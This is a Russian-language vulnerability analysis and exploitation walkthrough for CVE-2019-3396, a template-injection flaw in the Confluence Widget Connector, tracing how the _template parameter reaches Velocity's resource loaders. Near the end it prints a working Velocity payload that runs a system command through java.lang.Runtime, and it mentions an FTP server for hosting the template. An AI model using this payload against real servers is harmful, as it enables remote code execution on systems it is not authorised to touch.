
Пошаговое руководство по анализу и эксплуатации CVE-2019-3396, критической уязвимости типа SSTI в Confluence Server & Data Center, включая отладку и выполнение RCE-пэйлоадов.
Затронутый продукт: Confluence Server & Data Center
Уязвимые версии: с 6.0.0 по 6.15.4
Серьезность: Critical (CVSS ~9.8)
Причина:
В Confluence есть плагин Widget Connector (используется для встраивания видео, внешнего контента, такого как YouTube, Vimeo...).
Эта функция не контролирует должным образом вводимые пользователем данные, что приводит к Server-Side Template Injection (SSTI).
Злоумышленник может отправить вредоносную нагрузку → Confluence обрабатывает её с помощью шаблонизатора Velocity → выполнение кода на сервере.
https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0.zip
https://nguyendt.hashnode.dev/confluence-cve-2019-3396




Widget Connector, попробуем поискать в папке исходников Confluence
com.atlassian.confluence.extra.widgetconnector.WidgetMacro.classDefaultRenderManager.class
getEmbeddedHtml()
YoutubeRendererurl → исходная ссылка YouTube, введенная пользователемparams → карта, содержащая параметры конфигурации для рендеринга (например, ширина, высота, шаблон для рендеринга и т.д.).
getEmbedUrl(), setDefaultParam() и DefaultVelocityRenderService.render()setDefaultParam()
Если _template ещё не задан → присваивается шаблон по умолчанию youtube.vm.
=> Можно самостоятельно добавить _template в программу
Далее заходим в DefaultVelocityRenderService.render()
Назначение функции
Принимает url + параметры params.
Использует шаблон Velocity (.vm) для генерации HTML-кода встраивания (iframe, embed, …).
Определение шаблона
Если в params есть _template → используется этот шаблон.
Если нет → используется по умолчанию embed.vm.
Создаётся контекст по умолчанию с помощью MacroUtils.defaultVelocityContext().
Все параметры из params помещаются в контекст:
Если ключ = tweetHtml → сохраняется как есть (HTML).
В противном случае → безопасно кодируется с помощью GeneralUtil.htmlEncode().
В контекст добавляются urlHtml, width, height (если пусто, то по умолчанию 400 × 300).

VelocityUtils.getRenderedTemplate()
getRenderedTemplate и getRenderedTemplateWithoutSwallowingErrors()
getTemplate()
Здесь templateName — это и есть _template из предыдущего шага.
Далее вызывается VelocityEngine.Template()

VelocityEngine затем вызывается RunimeInstance.getTemplate()
RuntimeInstance (ядро Velocity)
Это «сердце» Velocity Engine. Оно отвечает за:
Инициализацию движка (init)
Управление конфигурацией, макросами, парсером, директивами, обработчиками событий…
И особенно: управление ресурсами через ResourceManager
→ Это означает, что RuntimeInstance не загружает ресурсы самостоятельно, а делегирует это resourceManager.
CompatibleVelocityResourceManager.getResource()
ConfigurableResourceManager (кастомный для Confluence)
Это реализация интерфейса ResourceManager.
Она отвечает за:
Управление загрузчиками ресурсов (файловый загрузчик, загрузчик classpath, загрузчик URL и т.д.).
Управление globalCache (кэширование шаблонов по resourceKey).
Загрузку/обновление шаблонов (файлов .vm) по запросу от RuntimeInstance.

try {
this.refreshResource(resource, encoding);
} catch (ResourceNotFoundException var7) {
this.globalCache.remove(resourceKey);
return this.getResource(resourceName, resourceType, encoding);
}
Когда ресурс есть в кэше, он не возвращается сразу, а вызывается refreshResource(...).
refreshResource сравнивает время lastModified на диске с тем, что в кэше.
Если файл изменился → ресурс в кэше становится недействительным → загружается с диска заново → обновляется кэш.
👉 Поэтому не нужно вручную менять resourceKey. Механизм обновления гарантирует, что при изменении шаблона кэш также обновится.
Добавим _template и отправим запрос снова

ResourceLoader (уже инициализированных объектов) в Velocity

FileResourceLoader и ClasspathResourceLoaderFileResourceLoaderВызывается StringUtils.normalizePath() для предотвращения path traversal

normalizePath показано на рисунке
/WEB-INF/web.xml — видно, что файл загружен успешно.
/../ блокируется.ClasspathResourceLoader
ClassUtils.getResourceAsStream
findResource() из /org/apache/catalina/loader/WebappClassLoaderBase.class
super.findResource(), возвращается URL, то есть объект, который можно получить.

url.openStream() для получения данных


Выполняемая нагрузка
#set ($exp="test")
#set ($runtime=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set ($process=$runtime.exec("id"))
#set ($input=$process.getInputStream())
#set ($sc=$exp.getClass().forName("java.util.Scanner"))
#set ($constructor=$sc.getDeclaredConstructor($input.getClass().forName("java.io.InputStream")))
#set ($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if ($scan.hasNext())
$scan.next()
#end
$runtime.exec("id") → выполняет системную команду "id" на Ubuntu.python3 -m pyftpdlib -p 2005

Выполнение:
